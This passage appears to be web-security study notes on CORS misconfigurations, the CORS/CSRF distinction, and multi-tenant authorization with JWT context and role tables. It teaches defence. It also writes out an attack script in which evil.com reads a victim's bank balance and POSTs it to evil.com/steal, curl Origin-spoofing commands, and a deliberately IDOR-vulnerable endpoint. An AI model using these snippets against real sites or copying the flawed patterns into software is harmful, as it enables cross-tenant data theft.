# No OPTIONS call for this endpoint for 24 hours.
# Every subsequent POST to /payments: browser skips preflight, sends
directly.
Key CORS Response Headers
Access-Control-Allow-Origin: https://dashboard.myapp.com
Which origin is allowed. Specific origin or * (wildcard).
Cannot be * if request includes credentials.
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Which HTTP methods are allowed for cross-origin requests.
Access-Control-Allow-Headers: Content-Type, Authorization, X-Custom-Header
Which request headers the browser is allowed to send.
Access-Control-Allow-Credentials: true
Whether cookies and Authorization headers can be included.
When true: Access-Control-Allow-Origin CANNOT be *.
Must be a specific origin.
Access-Control-Max-Age: 86400
How long (seconds) browser caches the preflight result.
Reduces OPTIONS requests. 86400 = 24 hours.
Access-Control-Expose-Headers: X-Request-Id, X-Rate-Limit-Remaining
Which response headers JavaScript is allowed to read.
Default: JS can only read Cache-Control, Content-Language, Content-Length,
Content-Type, Expires, Last-Modified, Pragma.
The Dangerous Misconfiguration — Step by Step
Setup: user is logged into bank.com. Browser has Cookie: session=abc123. User visits evil.com. Here is how
correct vs broken CORS config plays out.
=== CORRECT CONFIG (whitelist) ===
Server code:
const allowedOrigins = ["https://dashboard.bank.com"]
const incomingOrigin = req.headers.origin // origin from the request
if (allowedOrigins.includes(incomingOrigin)) {
res.header("Access-Control-Allow-Origin", incomingOrigin)
res.header("Access-Control-Allow-Credentials", "true")
}
// res = response object. res.header() adds a header to the HTTP response.
evil.com tries:
Browser sends:
GET /account/balance
Origin: https://evil.com
Cookie: session=abc123
Server: is https://evil.com in allowedOrigins? NO
Does NOT add Access-Control-Allow-Origin header.
Browser: no Access-Control-Allow-Origin header -> blocked.
evil.com JS gets nothing. Attack fails.
=== MISCONFIGURATION 1: wildcard + credentials ===
Server code (lazy developer):
res.header("Access-Control-Allow-Origin", "*")
res.header("Access-Control-Allow-Credentials", "true")
evil.com tries:
Browser sends request with credentials:include.
Server responds: Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Browser: * + credentials:true is invalid per spec.
Browser REFUSES to send credentials to a wildcard origin.
Request fails.
Intent: dangerous. Outcome: browser saves you. But clearly misconfigured.
=== MISCONFIGURATION 2: blindly echo origin (ACTUALLY EXPLOITABLE) ===
Server code (developer thinks they are being smart):
const incomingOrigin = req.headers.origin
res.header("Access-Control-Allow-Origin", incomingOrigin)
CHECK
res.header("Access-Control-Allow-Credentials", "true")
# Looks similar to correct config. The difference:
# Correct: checks whitelist FIRST, then echoes.
# Broken:
echoes ANY origin without checking.
Full attack:
// NO WHITELIST
Step 1: User logs into dashboard.bank.com.
Browser stores Cookie: session=abc123.
Step 2: User visits evil.com.
evil.com runs:
fetch("https://api.bank.com/account/balance", {
credentials: "include"
})
.then(r => r.json())
.then(data => {
fetch("https://evil.com/steal", {
method: "POST", body: JSON.stringify(data)
})
})
Step 3: Browser sends:
GET /account/balance
Origin: https://evil.com
Cookie: session=abc123
<- browser sets honestly
<- browser auto-attaches
Step 4: Server (broken config) responds:
200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Body: { "balance": 50000 }
<- echoed blindly
Step 5: Browser checks:
https://evil.com == Access-Control-Allow-Origin: https://evil.com?
YES. Credentials allowed? YES.
-> hands response to evil.com JS.
Step 6: evil.com reads { "balance": 50000 }.
Sends to evil.com/steal.
Attack succeeds.
Why: server echoed back evil.com as an allowed origin.
Browser had no way to know this was unintentional.
It just follows CORS headers. Server said evil.com is allowed. Browser
believed it.
=== SAME ATTACK WITH DELETE (preflight does not save broken config) ===
Step 1: evil.com runs fetch DELETE /users/42 with credentials:include.
Step 2: Browser sends preflight:
OPTIONS /users/42
Origin: https://evil.com
Access-Control-Request-Method: DELETE
Step 3: Server (broken config) responds:
Access-Control-Allow-Origin: https://evil.com <- echoed blindly
Access-Control-Allow-Methods: GET, POST, DELETE
Access-Control-Allow-Credentials: true
Step 4: Browser: evil.com is allowed. DELETE is allowed.
Sends actual DELETE.
Step 5: Server deletes user 42. Responds 200.
Browser hands response to evil.com. Full attack.
# Preflight only saves you if the server correctly rejects evil.com.
# If server blindly allows every origin, preflight is useless.
=== SUMMARY TABLE ===
Configuration
* + credentials
Blind echo
Correct whitelist
──────────────────────────────────────────────────────────────────────
GET attack works?
NO (browser
YES
NO
blocks combo)
DELETE attack works? NO
YES
NO
Browser saves you? YES
NO
N/A (no attack possible)
Safe config:
if (allowedOrigins.includes(req.headers.origin)) {
res.header("Access-Control-Allow-Origin", req.headers.origin)
res.header("Vary", "Origin") <- tells CDNs response varies by origin
}
=== Why Server Echoes the Origin Back ===
# The browser rule is an EXACT string match:
#
ACAO value == Origin I sent? -> allow
#
anything else?
-> block
# If S has allowlist [A, B] and always returns a static ACAO: A:
A sends Origin: A -> ACAO: A -> A == A -> allowed
B sends Origin: B -> ACAO: A -> B != A -> BLOCKED
OK
WRONG
# B is whitelisted but gets blocked.
# The only way to support multiple allowed origins:
# check the incoming origin against the allowlist,
# and echo back whichever one matched.
S receives Origin: A -> check allowlist -> match -> respond ACAO: A
S receives Origin: B -> check allowlist -> match -> respond ACAO: B
S receives Origin: E -> check allowlist -> NO match -> no ACAO header
# Why not a boolean instead of echoing?
# "true" would never match any origin string.
# Browser checks: "true" == "https://evil.com"? NO -> blocked.
# The echo IS the boolean -- its presence and exact value carry the signal.
=== Why Vary: Origin Is Required for Caching ===
# Problem: S has allowlist [A, B]. S echoes correctly.
# But without Vary: Origin, CDN does not know responses differ by origin.
Step 1: A sends request to S.
S responds: body + ACAO: A
CDN caches this response (no Vary: Origin = one cache entry for this
URL).
Step 2: B sends same request to S.
CDN says: "I have a cached response for this URL."
CDN serves cached response: body + ACAO: A
B's browser checks: does A match Origin: B? NO -> B is blocked.
# B is whitelisted but gets blocked by its own CDN.
# Fix: always send Vary: Origin alongside ACAO.
Vary: Origin tells CDN:
"Cache this response separately for each different Origin value."
Now:
A requests -> CDN stores response-for-A (ACAO: A)
B requests -> CDN stores response-for-B (ACAO: B)
E requests -> CDN stores response-for-E (no ACAO)
B always gets its own cache entry. Never A's.
# This is why the safe config is always two lines together:
res.header("Access-Control-Allow-Origin", req.headers.origin)
res.header("Vary", "Origin")
# Never one without the other.
CORS vs CSRF — How They Relate
=== Two different attacks, two different defenses ===
CORS protects against: evil.com READING your data.
Attack: malicious JS fetches bank.com/balance and reads the response.
Defense: browser blocks evil.com from reading bank.com’s response.
Damage prevented: data theft.
CSRF protects against: evil.com PERFORMING AN ACTION as you.
Attack: evil.com has a hidden form that posts to bank.com/transfer.
Your browser sends the request with your bank.com cookie attached.
Bank.com processes the transfer. evil.com never reads the response.
It doesn’t need to. The damage is done.
Damage prevented: forged state-changing action.
=== Why server still processes requests from evil.com ===
# Q: Why doesn’t server just ignore requests from evil.com?
#
It could check the Origin header and return 403.
# A: Origin is only trustworthy inside a browser.
Non-browser attacker can set Origin to anything:
curl -H "Origin: https://evil.com" https://bank.com/balance
-> if server rejects on Origin: attacker just changes to:
curl -H "Origin: https://dashboard.bank.com" https://bank.com/balance
-> server now allows it.
Origin-based server rejection = zero security against non-browser
attackers.
Also: legitimate cross-origin requests exist.
Mobile apps, partner integrations, third-party clients.
Server doesn’t know which cross-origin requests are intentional.
That’s the browser’s job, not the server’s.
Server’s job: tell browser who is allowed (via ACAO header).
Browser’s job: enforce that decision.
Auth layer’s job: reject requests without valid tokens (protects
non-browser).
=== How preflight fits in ===
Simple requests (GET, form POST):
Browser sends directly. No preflight. Server processes.
Browser blocks evil.com from reading response.
Safe for GET: no side effects. Evil.com can’t read data. No damage.
NOT safe for form POST: action happens before browser blocks read.
This is CSRF territory. CSRF tokens protect it, not CORS.
Non-simple requests (DELETE, PUT, JSON body, Authorization header):
Browser sends OPTIONS preflight FIRST.
evil.com → server sees evil.com → returns no ACAO → browser stops.
Actual DELETE is NEVER sent. Server never processes it.
No damage.
Preflight is exactly the mechanism that prevents server from
processing destructive requests from evil.com.
It moves the check BEFORE the action, not after.
=== The complete picture ===
Request type
What happens
Protected by
─────────────────────────────────────────────────────────────────
GET from evil.com
Server processes.
CORS (browser blocks
Browser blocks read.
the read).
No damage (read-only).
DELETE from evil.com Browser sends OPTIONS
Server: no ACAO.
Browser stops.
DELETE never sent.
CORS preflight.
Request never
reaches server.
Form POST evil.com
(simple request)
NOT CORS.
Need CSRF token.
No preflight.
Server processes.
Browser blocks read.
Action happened. Damage.
=== Side by side ===
CORS
CSRF
─────────────────────────────────────────────────────────────────
Attack goal
Read response
Perform action
Attack vector
JS fetch/XHR
HTML form
Needs response? YES (to steal data)
NO (action done)
Defense
Browser blocks read
Server validates token
Enforced by
Browser
Server
# CORS and CSRF are complementary. You need both.
# Strict CORS does NOT eliminate the need for CSRF tokens.
# CORS blocks reading. CSRF tokens block forged writes.
One-Paragraph Summary
The Same-Origin Policy prevents JavaScript from reading cross-origin responses, protecting users from malicious
sites using their existing browser sessions. CORS lets servers relax this selectively. The browser adds an Origin
header (JavaScript cannot override it), the server responds with Access-Control-Allow-Origin, and the browser
withholds the response from JavaScript if the origin is not permitted. The server always responds — the browser
is the enforcer. Preflight (OPTIONS) exists for write operations and authenticated requests because blocking the
response after a DELETE executes is too late — preflight blocks the request from being sent at all. Non-browser
clients are unaffected by CORS and are protected by auth tokens instead. The truly dangerous misconfiguration is
not wildcard (browsers block * + credentials) but blindly echoing whatever origin arrives — turning the CORS
check into a mirror that validates every attacker automatically. CORS and CSRF are complementary: CORS blocks
reading responses, CSRF tokens prevent forged form submissions.
Topic 4.11 — Multi-Tenant Authorization
[ TOPIC QUICK REFERENCE ]
Core problem:
One system, many customers. Data must never cross tenant
boundaries.
Key mechanism:
merchant_id (integer FK) in JWT -> gateway injects as
context header
-> scopes every DB query. Never trust client-supplied
tenant identity.
Three strategies: row-level (shared tables), schema-level (namespaces),
DB-level (separate instances).
Two role layers: system roles (Razorpay-defined, 3 only) + tenant roles
(merchant-defined).
Most dangerous bug: missing merchant_id filter in DB query (IDOR -Insecure Direct Object Reference).
Protection:
ORM scoping + Postgres RLS make breach architecturally
impossible.
The Story
It's 2019. You just joined Razorpay as a backend engineer. Your first week, a senior engineer pulls you aside:
"We have 50,000 merchants. Swiggy, Zomato, Ola, hundreds of startups. Each merchant has a team
— developers, finance people, ops. Every one of them logs into the same dashboard. Same frontend.
Same API. Same database. Your job this quarter: make sure Swiggy's finance head can never — not
accidentally, not through a bug, not through a clever URL — see a single Zomato transaction. Ever."
You open the codebase. You find this:
// What you found on day one:
app.get("/transactions", async (req, res) => {
const transactions = await db.query(
"SELECT * FROM transactions WHERE id = ?",
[req.query.id]
)
res.json(transactions)
})
# No merchant check. Transaction IDs are sequential integers: 1, 2, 3...
# Any logged-in user calls GET /transactions?id=1, id=2, id=3...
# Gets every merchant's data. No error. No warning. Silent breach.
# This is IDOR -- Insecure Direct Object Reference.
# OWASP Top 10 every year. One of the most common SaaS vulnerabilities.
# The fix is simple to state:
SELECT * FROM transactions WHERE id = ? AND merchant_id = ?
# The hard part: enforcing this on every query, written by 50 engineers.
# Solution: make tenant filtering automatic, not something developers
remember.
What Is Multi-Tenancy?
A tenant is a customer of your platform who gets their own isolated slice. One codebase, one infrastructure,
many tenants — each seeing only their own data.
Analogy: apartment building vs individual houses.
Individual houses (single-tenant):
Each customer gets their own building.
Complete isolation. Dedicated everything.
Expensive. Each house needs its own plumbing, electricity, maintenance.
Apartment building (multi-tenant):
One building, many residents.
Shared infrastructure -- one boiler, one roof, one maintenance team.
Each flat is isolated -- your neighbour cannot walk into your flat.
Much cheaper per resident. But isolation is your design problem.
Razorpay is the apartment building.
Swiggy, Zomato, Ola are the residents.
They share the same DB server, same API, same codebase.
But Swiggy's data must be invisible to Zomato.
Your tenants by product:
Razorpay -> merchants
(Swiggy, Zomato, Ola, 500,000 others)
Stripe
-> businesses
(Shopify, Lyft, Amazon...)
Slack
-> workspaces
(Anthropic, Google, Razorpay...)
Notion
-> organisations
GitHub
-> organisations (microsoft, google, meta...)
The Three Isolation Strategies
How you separate tenant data in the database is the foundational decision. Each strategy is a different point on
the trade-off between cost, complexity, and isolation strength.
Strategy 1 — Row-Level Isolation (Shared Tables)
All tenants' data in the same tables. Every table has a merchant_id column (integer FK). Every query filters by it.
Most common choice for SaaS at scale.
=== Schema ===
transactions table:
id
BIGSERIAL PRIMARY KEY
merchant_id BIGINT NOT NULL REFERENCES merchants(id)
string
amount
BIGINT NOT NULL
currency
VARCHAR(3)
<- FK, not raw
status
created_at
VARCHAR(20)
TIMESTAMP
CREATE INDEX idx_transactions_merchant
ON transactions(merchant_id, created_at DESC);
=== Why two columns in the index? ===
# Most common query pattern:
SELECT * FROM transactions
WHERE merchant_id = 1
ORDER BY created_at DESC
LIMIT 20;
# With index on merchant_id ONLY:
#
Step 1: index finds all rows where merchant_id=1
#
-> returns 50 million row IDs (Swiggy has 50M transactions)
#
Step 2: fetch all 50M rows from disk
#
Step 3: sort all 50M rows by created_at DESC in memory
#
Step 4: return first 20
#
You fetch 50 million rows just to return 20. Extremely slow.
# With composite index (merchant_id, created_at DESC):
#
Index stores rows already sorted by created_at within each merchant:
#
#
merchant_id=1, created_at=2024-12-31 -> row pointer
#
merchant_id=1, created_at=2024-12-30 -> row pointer
#
merchant_id=1, created_at=2024-12-29 -> row pointer
#
...
#
merchant_id=2, created_at=2024-12-31 -> row pointer
#
...
#
#
Step 1: jump to merchant_id=1 in index
#
Step 2: read first 20 entries (already in created_at DESC order)
#
Step 3: fetch just those 20 rows from disk
#
No sort. No full scan. Exactly 20 rows touched.
# Index column order rule:
#
First column: what you FILTER on (WHERE merchant_id = 1)
#
Second column: what you SORT on
(ORDER BY created_at DESC)
#
# merchant_id narrows to one tenant.
# created_at DESC inside that keeps rows pre-sorted.
# Without created_at in the index: Postgres fetches all tenant rows, then
sorts.
# With it: reads exactly the rows needed, in the right order, already.
=== ORM Scoping — Making Tenant Filter Automatic ===
# Bad: developer manually adds tenant filter. Can be forgotten.
async function getTransaction(id, merchantId) {
return db.query(
"SELECT * FROM transactions WHERE id=? AND merchant_id=?",
[id, merchantId]
)
}
# Good: ORM-level scoping. Filter is baked in. Cannot be forgotten.
class TransactionRepository {
constructor(private merchantId: number) {}
findById(id: number) {
return this.db
.from("transactions")
.where("merchant_id", this.merchantId)
.where("id", id)
.first()
}
findAll(filters) {
return this.db
.from("transactions")
.where("merchant_id", this.merchantId)
.where(filters)
}
// always added
// always added
}
# Usage:
const repo = new TransactionRepository(req.merchantId) // integer from JWT
const tx = await repo.findById(42)
# Developer physically cannot forget the tenant filter.
# It is in the constructor. Every method includes it automatically.
=== Postgres Row Level Security (RLS) — Architectural Impossibility ===
# RLS enforces tenant isolation at the database level itself.
# Even if application code has a bug and omits the merchant_id filter,
# Postgres automatically applies the policy.
# A missing filter becomes an empty result, not a breach.
# Step 1: Enable RLS
ALTER TABLE transactions ENABLE ROW LEVEL SECURITY;
# Step 2: Create policy
CREATE POLICY tenant_isolation ON transactions
USING (merchant_id = current_setting('app.current_merchant_id')::BIGINT);
# Step 3: Application sets tenant context before querying
SET app.current_merchant_id = '1';
-- Swiggy's integer ID
SELECT * FROM transactions WHERE id = 42;
-- Even without AND merchant_id = 1 in the query,
-- Postgres enforces: only returns rows where merchant_id = 1
# Vulnerable query under RLS:
SET app.current_merchant_id = '1';
SELECT * FROM transactions WHERE id = 42; -- id 42 belongs to Zomato
-- Postgres: merchant_id(2) != current(1) -> returns 0 rows.
-- Breach is architecturally impossible.
# Without RLS: application bug -> potential breach
# With RLS:
application bug -> empty result, no breach
=== Row-Level: Noisy Neighbour Problem ===
# All tenants share the same DB server.
# One large tenant's heavy queries affect everyone.
# Example:
# Swiggy runs a monthly report across 50M transactions.
# Query takes 30 seconds. DB CPU spikes.
# Zomato's routine queries slow down. Everyone suffers.
# Mitigations:
# 1. Read replicas for heavy reports (never hit primary DB)
# 2. Rate limit DB connections per merchant
# 3. Async report generation (queue the job, don't block the request)
# 4. Query timeout per tenant
# 5. Large merchants get dedicated read replicas (premium tier)
Row-level isolation: simple, cheap, instant tenant onboarding (one INSERT). Risk: missing tenant
filter. Mitigate with ORM scoping + Postgres RLS. Used by: Razorpay, Stripe, most SaaS at scale.
Strategy 2 — Schema-Level Isolation (Separate Namespaces, Shared DB)
In Postgres, a schema is a namespace (like a folder) inside a database. Each tenant gets their own schema.
Creating a schema creates the folder — empty. You then create every table inside it separately.
=== Schema is a namespace, not a table ===
Database: razorpay_db
└── Schema: swiggy
│
├── Table: transactions
│
├── Table: users
│
└── Table: api_keys
│
└── Schema: zomato
├── Table: transactions
<- the "folder"
<- files inside the folder
<- separate folder
<- completely separate tables
├── Table: users
└── Table: api_keys
# Creating the schema (just the folder):
CREATE SCHEMA swiggy;
-- empty, no tables yet
# Creating tables inside the schema:
CREATE TABLE swiggy.transactions (id BIGSERIAL, amount BIGINT, ...);
CREATE TABLE swiggy.users (id BIGSERIAL, email VARCHAR, ...);
# Must create every table separately. Schema alone is just the container.
# No merchant_id column needed.
# swiggy.transactions physically cannot contain Zomato's rows.
# Isolation is structural, not query-enforced.
=== Querying ===
SET search_path = swiggy;
SELECT * FROM transactions WHERE id = 42;
-- Always Swiggy's data. Zomato's transactions do not exist here.
=== Adding a New Tenant ===
# Create the schema (folder):
CREATE SCHEMA myntra;
# Create every table inside it (files):
SET search_path = myntra;
CREATE TABLE transactions (...);
CREATE TABLE users (...);
CREATE TABLE api_keys (...);
# ... every table, every index ...
# More work than row-level. Tens or hundreds of statements.
=== Adding a Column (schema change) ===
# Must run on EVERY tenant schema:
for schema in get_all_tenant_schemas():
execute(f"ALTER TABLE {schema}.transactions ADD COLUMN fee BIGINT")
# With 10,000 tenants: 10,000 ALTER TABLE statements.
# Must be batched. Risk of partial failure.
# Operationally expensive vs row-level (one statement).
Schema-level isolation: stronger isolation (no accidental cross-query), easier per-tenant backup
(dump one schema). But adding a new tenant requires creating every table separately, and schema
changes must run once per tenant schema. Practical limit: hundreds to low thousands of tenants.
Strategy 3 — Database-Level Isolation (Separate DB Instances)
Each tenant gets their own dedicated database instance. Complete isolation. Maximum cost.
=== Architecture ===
swiggy
zomato
-> postgres://swiggy-db.internal:5432/swiggy
-> postgres://zomato-db.internal:5432/zomato
# Application maintains a connection registry:
const dbConnections = {
1: new Pool({ connectionString: "postgres://swiggy-db..." }),
ID=1
2: new Pool({ connectionString: "postgres://zomato-db..." }),
ID=2
}
// Swiggy
// Zomato
# Route query to right DB using integer merchant ID:
const db = dbConnections[req.merchantId]
const tx = await db.query("SELECT * FROM transactions WHERE id = ?", [42])
# No merchant_id column. No namespace prefix. Just query your own DB.
=== Cost Reality ===
# AWS RDS instance: $50-500/month minimum.
# 500,000 merchants x $50 = $25M/month just for databases.
# Not viable at scale. Only for enterprise tier.
=== When It Makes Sense ===
# Enterprise customer paying $10,000+/month demanding:
#
- Dedicated infrastructure
#
- Data residency (EU data stays in EU)
#
- Independent backup and restore
#
- Compliance (HIPAA, PCI-DSS with dedicated evidence)
#
- Performance guarantees (zero noisy neighbour)
# Used by: Salesforce enterprise "pods", Snowflake "virtual private",
#
GitHub Enterprise Server.
DB-level isolation: maximum isolation, true data sovereignty. Only viable for high-value enterprise
customers. Most platforms offer this as a premium tier, not the default.
Choosing the Right Strategy
Isolation
Row-Level
Schema-Level
DB-Level
Query-enforced
(ORM+RLS)
Structural (namespace)
Physical separation
New tenant
One INSERT
Create schema + every
table
Provision new DB instance
Schema change
One ALTER TABLE
One per tenant schema
One per tenant DB
Scale
Millions of tenants
Hundreds to thousands
Tens to hundreds
Noisy neighbour
Yes (shared tables)
Partial (shared DB
server)
No
Per-tenant backup
Hard
Easy (dump schema)
Trivial (dump DB)
Cost
Cheapest
Medium
Most expensive
Used by
Razorpay, Stripe, most
SaaS
Mid-tier SaaS
Enterprise tier only
Most companies use row-level for the majority of tenants and offer schema or DB-level isolation as a paid
enterprise upgrade. The rest of this topic assumes row-level.
Tenant Context — How merchantId Flows Through the System
For row-level isolation to work, every query needs the tenant's merchantId. The question: where does it come
from and how does it reach every query?
=== The Wrong Way (never do this) ===
# Client supplies merchantId in request:
GET /transactions?merchantId=1&id=42
# Or in body:
POST /refunds { "merchantId": 2, "transactionId": 42 }
1 to 2
<- attacker changes
# Swiggy's developer changes merchantId from 1 to 2 in Postman.
# Gets Zomato's data. Attack takes 10 seconds.
# NEVER trust the client to tell you which tenant they are.
=== The Right Way — merchantId in the JWT ===
# At login, auth server creates JWT:
{
"iss":
"https://auth.razorpay.com",
token
"userId":
3,
"merchantId":
1,
baked in at login
"merchantSlug": "swiggy",
and display only
"role":
"finance_head",
<- issuer: who created this
<- Swiggy's integer ID,
<- human readable, for logs
"exp":
1700003600
}
# User cannot change merchantId in JWT.
# JWT is signed with auth server's private key (RS256).
# Tampering with payload invalidates signature.
# merchantId is the single source of truth for tenant identity.
=== Full Request Trace ===
Step 1: Client sends request
GET /transactions/42
Authorization: Bearer eyJhbGci...(JWT)
Step 2: API Gateway validates JWT
a. Fetch public key from JWKS endpoint (cached, no network call per
request)
b. RSA_verify(signature, public_key) -> recovers hash
SHA256(header + "." + payload)
-> recomputes hash
Match -> signature valid. Token not tampered.
c. Check exp: is current time before expiry?
Prevents replay of old stolen tokens.
d. Check iss: is issuer "https://auth.razorpay.com"?
Prevents tokens from OTHER Razorpay services
(internal tools, partner APIs) being accepted here.
Even if their signature is valid, iss mismatch -> reject.
e. Check alg whitelist: is alg == "RS256"?
Prevents alg:none attack:
Attacker forges: { "alg": "none" } + any payload + empty signature.
Naive library sees alg:none -> skips verification entirely.
Explicit RS256 whitelist -> anything else rejected.
f. Extract claims: userId=3, merchantId=1, merchantSlug=swiggy
Step 3: Gateway strips Authorization header entirely.
Injects clean context headers for downstream services:
X-Merchant-Id:
1
<- integer, for DB queries
X-Merchant-Slug: swiggy <- string, for logs and display
X-User-Id:
3
X-User-Role:
finance_head
Downstream services never see the JWT itself.
Step 4: Transaction Service receives request
merchantId = req.headers["X-Merchant-Id"] -> 1 (integer)
NEVER from: req.query.merchantId
NEVER from: req.body.merchantId
Step 5: Transaction Service queries DB
SELECT * FROM transactions
WHERE id = 42
AND merchant_id = 1
<- from validated context, not client input
Step 6: Result
If tx 42 belongs to Swiggy (merchant_id=1): returns data.
If tx 42 belongs to Zomato (merchant_id=2): returns 0 rows -> 404.
(404 not 403 -- never reveal another tenant's record exists)
Role Design — Two Layers
Single-tenant roles (admin/user/viewer) break immediately in multi-tenant systems. Swiggy's internal org
structure is completely different from Zomato's. Neither should know about the other's roles. You need two
layers.
=== Layer 1: System Roles (defined by Razorpay, 3 only) ===
super_admin:
Razorpay engineers.
No merchant boundary -- can act on any tenant.
Every action fully audited.
support_agent:
Razorpay support team.
Can VIEW any merchant's data.
Cannot write, cannot process payments.
Access time-limited per support ticket.
merchant_admin:
The owner of a merchant account (Swiggy CTO, Zomato founder...).
Full control within their OWN merchant only.
Can create and manage tenant roles for their team.
Cannot touch any other merchant.
Which merchant they own is stored in user_merchant_roles, not here.
System role = your STATUS in the platform.
"Are you a Razorpay operator or a merchant owner?"
# super_admin and support_agent are Razorpay employees.
# merchant_admin is the merchant's own account owner.
=== Layer 2: Tenant Roles (defined by each merchant) ===
# Every non-owner team member at a merchant gets a tenant role.
# Defined entirely by the merchant. No system role needed.
Swiggy defines their own roles:
finance_head: view reports, export transactions, view settlements
ops_manager:
process refunds, view transactions (no export)
developer:
manage API keys, webhooks -- no dashboard access
viewer:
read-only on all Swiggy data
Zomato defines their own roles:
finance_lead: their own set of permissions
tech_lead:
their own set of permissions
# Swiggy's finance_head and Zomato's finance_lead are completely
# separate records with no connection. Same name is fine -# they live in different merchant namespaces.
=== The Corrected Full Picture ===
Sara (Razorpay engineer):
system_role: super_admin | merchant_id: NULL | tenant_role: none
Amit (Razorpay support):
system_role: support_agent | merchant_id: NULL | tenant_role: none
Rohan (Swiggy CTO, account owner):
system_role: merchant_admin | merchant_id: 1 (Swiggy) | tenant_role: none
Aman (Zomato CTO, account owner):
system_role: merchant_admin | merchant_id: 2 (Zomato) | tenant_role: none
Rahul (Swiggy finance person):
system_role: none | merchant_id: 1 (Swiggy) | tenant_role: finance_head
Priya (Swiggy ops person):
system_role: none | merchant_id: 1 (Swiggy) | tenant_role: ops_manager
Neha (Zomato finance person):
system_role: none | merchant_id: 2 (Zomato) | tenant_role: finance_lead
The Full Database — With Real Sample Data
Seven tables. Every relationship shown with actual rows and step-by-step query traces.
Table 1 — merchants
CREATE TABLE merchants (
id
BIGSERIAL PRIMARY KEY,
slug
VARCHAR(50) UNIQUE NOT NULL,
name
VARCHAR(200) NOT NULL,
created_at TIMESTAMP DEFAULT NOW()
);
id | slug
| name
───┼─────────┼──────────────────────
1 | swiggy | Swiggy India Pvt Ltd
2 | zomato | Zomato Ltd
3 | ola
| ANI Technologies
-- human readable, for URLs/logs
# Every other table uses merchants.id (integer) as FK.
# Slug is only for display, JWTs, and logs. Never in DB joins.
Table 2 — system_roles
CREATE TABLE system_roles (
id
SERIAL PRIMARY KEY,
name VARCHAR(50) UNIQUE NOT NULL
);
id | name
───┼───────────────
1 | super_admin
2 | support_agent
3 | merchant_admin
# Three rows only. Never changes.
# No merchant_id here -- which merchant a merchant_admin belongs to
# is stored in user_merchant_roles.
Table 3 — tenant_roles
CREATE TABLE tenant_roles (
id
BIGSERIAL PRIMARY KEY,
merchant_id BIGINT NOT NULL REFERENCES merchants(id), -- integer FK
name
VARCHAR(100) NOT NULL,
created_by BIGINT REFERENCES users(id),
created_at TIMESTAMP DEFAULT NOW(),
UNIQUE(merchant_id, name)
-- UNIQUE on two columns: the COMBINATION must be unique.
-- merchant_id=1, name=finance_head -> combination (1, finance_head)
-- merchant_id=2, name=finance_head -> combination (2, finance_head)
DIFFERENT. OK.
-- Both Swiggy and Zomato can have a role called finance_head.
-- Swiggy cannot have two roles both called finance_head.
);
id | merchant_id | name
| created_by
───┼─────────────┼───────────────┼───────────
1 | 1 (swiggy) | finance_head | 1 (Swiggy CTO)
2 | 1 (swiggy) | ops_manager
| 1
3 | 1 (swiggy) | developer
| 1
4 | 2 (zomato) | finance_lead | 2 (Zomato CTO)
5 | 2 (zomato) | tech_lead
| 2
Table 4 — permissions
CREATE TABLE permissions (
id
SERIAL PRIMARY KEY,
name VARCHAR(100) UNIQUE NOT NULL
);
id | name
───┼──────────────────
1 | transactions.read
2 | transactions.export
3 | refunds.create
4 | refunds.read
5 | reports.export
6 | api_keys.manage
7 | webhooks.manage
8 | settlements.read
# Razorpay-defined. Every possible action in the system.
# Merchants cannot add to this table.
# They can only assign existing permissions to their tenant roles.
Table 5 — tenant_role_permissions
CREATE TABLE tenant_role_permissions (
tenant_role_id BIGINT REFERENCES tenant_roles(id),
permission_id INT
REFERENCES permissions(id),
PRIMARY KEY (tenant_role_id, permission_id)
-- Composite PRIMARY KEY: combination of both columns must be unique.
-- PRIMARY KEY vs UNIQUE: PK also enforces NOT NULL, one PK per table.
-- Why composite PK here: this is a junction table.
-The combination (tenant_role_id, permission_id) IS the identity.
-No need for a separate auto-increment id column.
-Without it: could insert (1, 3) twice. Meaningless duplicate.
);
tenant_role_id | permission_id
───────────────┼──────────────
1 (fin_head)
| 1 (transactions.read)
1 (fin_head)
| 2 (transactions.export)
1 (fin_head)
| 5 (reports.export)
1 (fin_head)
| 8 (settlements.read)
2 (ops_mgr)
| 1 (transactions.read)
2 (ops_mgr)
| 3 (refunds.create)
2 (ops_mgr)
| 4 (refunds.read)
3 (developer) | 6 (api_keys.manage)
3 (developer) | 7 (webhooks.manage)
4 (fin_lead)
| 1 (transactions.read)
4 (fin_lead)
| 5 (reports.export)
5 (tech_lead) | 6 (api_keys.manage)
# finance_head (Swiggy) has 4 permissions.
# ops_manager (Swiggy) has 3 -- can create refunds, cannot export.
# finance_lead (Zomato) has 2 -- their own set, unrelated to Swiggy.
Table 6 — users
CREATE TABLE users (
id
BIGSERIAL PRIMARY KEY,
email VARCHAR(255) UNIQUE NOT NULL,
name VARCHAR(200)
);
id | email
| name
────┼──────────────────────────┼─────────────────────
1
| cto@swiggy.com
| Rohan (Swiggy CTO)
2
| cto@zomato.com
| Aman (Zomato CTO)
3
| rahul@swiggy.com
| Rahul (Swiggy finance)
4
| priya@swiggy.com
| Priya (Swiggy ops)
5
| dev@swiggy.com
| Karan (Swiggy developer)
6
| finance@zomato.com
| Neha (Zomato finance)
100 | support@razorpay.com
| Amit (Razorpay support)
999 | engineer@razorpay.com
| Sara (Razorpay engineer)
Table 7 — user_merchant_roles
CREATE TABLE user_merchant_roles (
id
BIGSERIAL PRIMARY KEY,
user_id
BIGINT REFERENCES users(id),
merchant_id
BIGINT REFERENCES merchants(id), -- NULL for Razorpay
employees
system_role_id INT
REFERENCES system_roles(id),
tenant_role_id BIGINT REFERENCES tenant_roles(id),
CHECK (
(system_role_id IS NOT NULL AND tenant_role_id IS NULL)
OR
(system_role_id IS NULL AND tenant_role_id IS NOT NULL)
)
-- Exactly one must be set. Never both. Never neither.
);
id | user_id | merchant_id | system_role_id | tenant_role_id
───┼─────────┼─────────────┼────────────────┼───────────────
1 | 999
| NULL
| 1 (super_admin)| NULL
2 | 100
| NULL
| 2 (support_ag) | NULL
3 | 1
| 1 (swiggy) | 3 (merch_adm) | NULL
4 | 2
| 2 (zomato) | 3 (merch_adm) | NULL
5 | 3
| 1 (swiggy) | NULL
| 1 (finance_head)
6 | 4
| 1 (swiggy) | NULL
| 2 (ops_manager)
7 | 5
| 1 (swiggy) | NULL
| 3 (developer)
8 | 6
| 2 (zomato) | NULL
| 4 (finance_lead)
# Row 1: Sara (Razorpay engineer). merchant_id=NULL. super_admin has no
boundary.
# Row 3: Rohan (Swiggy CTO). merchant_id=1. system_role=merchant_admin.
#
